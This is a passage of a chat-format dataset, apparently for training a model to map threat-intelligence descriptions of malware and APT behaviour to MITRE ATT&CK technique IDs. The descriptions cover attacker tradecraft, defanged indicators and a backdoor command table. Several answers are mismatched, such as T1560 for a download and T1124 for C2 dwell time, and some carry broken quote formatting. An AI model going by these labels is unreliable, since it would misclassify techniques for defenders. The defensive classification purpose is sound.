                "content": "has used a script (atexec.py) to execute a command on a target machine via Task Scheduler."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. Note: transfer of credentials can occur even if the file is not retrieved. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor uses RC4 to encrypt the message body of HTTP content."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PS1 can inject its payload DLL Into memory."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It drops ransom notes at various folders in the system and opens one after it has encrypted the data and documents of the victim. As with usual ransomware, it does this to extort money from the victim in exchange for the decryption of their files"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can retrieve information from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor will delete the folder containing malicious scripts if it detects the hostname as `PIS-APP`, `PIS-MOB`, `WSUSPROXY`, or `PIS-DB`."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin uses various WMI queries to check if the sample is running in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT19 Port 22 malware variant registers itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the backdoor establishes a connection to the command and control server, it sets the request period time equal to the specified dwell time for the standby mode"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Moving the (malicious) application into the /Users/user/Library/ directory 2) Executing this persisted copy, via the open command 3) Decrypting embedded strings that relate to file extensions of (likely) interest"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On September 24, 2018, we observed an organization targeted by OilRig attempting to download a Zip archive from the following URL: hxxp://193.111.152[.]13/[redacted]-ITsoftwareUpdate.zip This Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256: 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE Trojan we described in detail in a blog we published in September 2018"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used an unsigned, crafted DLL module named \"hha.dll\" that was designed to look like a legitimate 32-bit Windows DLL."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to this, as reported by our peers at ESET last week, the group has also begun using a UEFI (Unified Extensible Firmware Interface) rootkit known as Lojax. Because the rootkit resides within a computer’s flash memory, it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\\16). 3) Try to exploit the following Remote Code Execution vulnerabilities in the targeted servers"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs multiple process injections to hijack system processes and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can perform port scans from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POORAIM can perform screen capturing."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can use a custom protocol tunneled through DNS or HTTP."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can base64 encode C2 replies."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has run \"whoami\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!)    Command ID Function   Description   101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: “Mac OS X – [OSX version] x64<br>\\nUser name – [username]”   102 getProcessList Runs “ps aux” to obtain a list of running processes   103 remoteShell Runs supplied command using “/bin/sh”   104 getInstalledAPP Gets a list of installed applications by running the command “ls -la /Applications”   105 showBackupIosFolder Checks to see if an IOS device was backed up to the system by running the command “ls -la ~/Library/Application\\ Support/MobileSync/Backup/”   106 downloadFileFromPath Uploads a file from a specified path   107 createFileInSystem Downloads a file, specifically provided within the C2 server’s HTTP response   108 execFile Executes a specified file on the system using the NSTask:launch method   109 deletFileFromPath Deletes a specified file using the NSFileManager:removeFileAtPath method   110 takeScreenShot Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1071 - Application Layer Protocol', 'T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to delete a file and deletes files after they have been successfully uploaded to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum was seen using MimikatzLite to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This specific module appears to have been put together from public sources with some added functionality from the attackers. Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&amp;C hostname which fits previously known Turla activity"
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can delete files created on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used sticky-keys to obtain unauthenticated, privileged console access."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can use DNS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp's passw.plug plugin can gather passwords saved in Opera, Internet Explorer, Safari, Firefox, and Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "List of installed antivirus products - OS version - Username - Computer name - Whether any of the following software is installed: Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) Trusteer Several Latin American banking applications - Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) - Trusteer - Several Latin American banking applications"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While it includes multiple ways to find Explorer, the preferred method is to get the process id from the current desktop window."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing', 'T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has installed a bootkit on the system to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PlugX malware can be configured to use HTTP, DNS, raw TCP, or UDP to avoid network-based detection. In one sample analyzed by CTU researchers, PlugX was configured with hard-coded user credentials to bypass a proxy that required authentication. Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1071.004 - Application Layer Protocol: DNS', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke can detect a running process's PID on the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this file is copied, the original ‘Update.~tmp’ file is deleted"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz The threat actors also uploaded tools to scan for and exploit potential vulnerabilities in the network, such as the well-known SMB vulnerability patched in commonly exploited by EternalBlue to move laterally to other systems on the network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can target and steal locally stored emails to support thread hijacking phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If installing itself as a service fails,  instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has lured victims into executing malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can implement use of proxies to pivot traffic."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) An application is bundled with virtualization software, a Linux image and additional files used to achieve persistence. 2) User downloads the application and follows attached instructions on how to install it. 3) LoudMiner is installed first, the actual VST software after. 4) LoudMiner hides itself and becomes persistent on reboot. 5) The Linux virtual machine is launched and the mining starts. 6) Scripts inside the virtual machine can contact the C&amp;C server to update the miner (configuration and binaries"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a list of network shares with the command net share."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the event this privilege was obtained, the common startup folder is queried by reading the following registry key:  HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup  Alternatively, if the privilege was unable to be obtained, Reaver.v2 will obtain the user’s startup folder by querying the following registry key:  HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup  Reaver proceeds to write a shortcut file to ‘%TEMP%\\~WUpdate.lnk’"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 created user accounts and adds them to the User and Admin groups."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has used valid compromised credentials to gain access to victim environments."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used various MS-SQL stored procedures."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can use VMProtect for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a series of denial-of-service attacks and website defacements, the new destructive malware corrupts the master boot record (MBR), partition and file system of all available physical drives on Windows machines"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. Sandworm Team has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This example of BazarLoader generated command and control (C2) activity, retrieving BazarBackdoor using HTTPS traffic from 104.248.174[.]225 over TCP port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On November 9, 2018, we observed a relatively small email campaign (thousands of messages) delivering a new malware family that we call “ServHelper” based on file names associated with infection. The campaign primarily targeted financial institutions and was attributed to the threat actor TA505. The messages (Figure 1) contained Microsoft Word or Publisher attachments with macros that, when enabled, downloaded and executed the malware. This campaign used the “tunnel” variant of ServHelper, described in the “Malware Analysis” section"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has relied on user interaction to open their malicious RTF documents."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In these cases, the temporary file is written to the %TEMP% directory, and the filename is a combination of numbers generated from a call to GetTickCount and the '.dat' extension (e.g"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUBBLEWRAP collects system information, including the operating system version and hostname."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group has used web hosting credentials—stolen from victims outside of their usual targets—to host their malicious scripts and tools. Kimsuky likely obtained the credentials from the victims via spearphishing and credential harvesting scripts. On the victim domains, they have created subdomains mimicking legitimate sites and services they are spoofing, such as Google or Yahoo mail. 14] - Kimsuky has also sent benign emails to targets, which were possibly intended to build trust in advance of a follow-on email with a malicious attachment or link. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. The APT group invited the targets to a Skype interview on the topic of inter-Korean issues and denuclearization negotiations on the Korean Peninsula. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. After a recipient agreed to an interview, Kimsuky sent a subsequent email with a malicious document, either as an attachment or as a Google Drive link within the body. The document usually contained a variant of BabyShark malware (see the Execution section for information on BabyShark). When the date of the interview drew near, Kimsuky sent an email canceling the interview. Kimsuky tailors its spearphishing and social engineering approaches to use topics relevant to the target, such as COVID-19, the North Korean nuclear program, or media interviews"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT created a copy of the SolarWinds Orion software source file with a \".bk\" extension to backup the original content, wrote SUNBURST using the same filename but with a \".tmp\" extension, and then moved SUNBURST using \"MoveFileEx\" to the original filename with a \".cs\" extension so it could be compiled within Orion software."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some SeaDuke samples have a module to use pass the ticket with Kerberos for authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors uploaded commonly available hacker tools to compromised web servers."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV.”"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a plugin to detect active drivers of some security products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use tasklist to collect a list of running tasks."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) Table 4 lists the OwaAuth web shell commands available to the adversary"
            },
            {
                "role": "assistant",
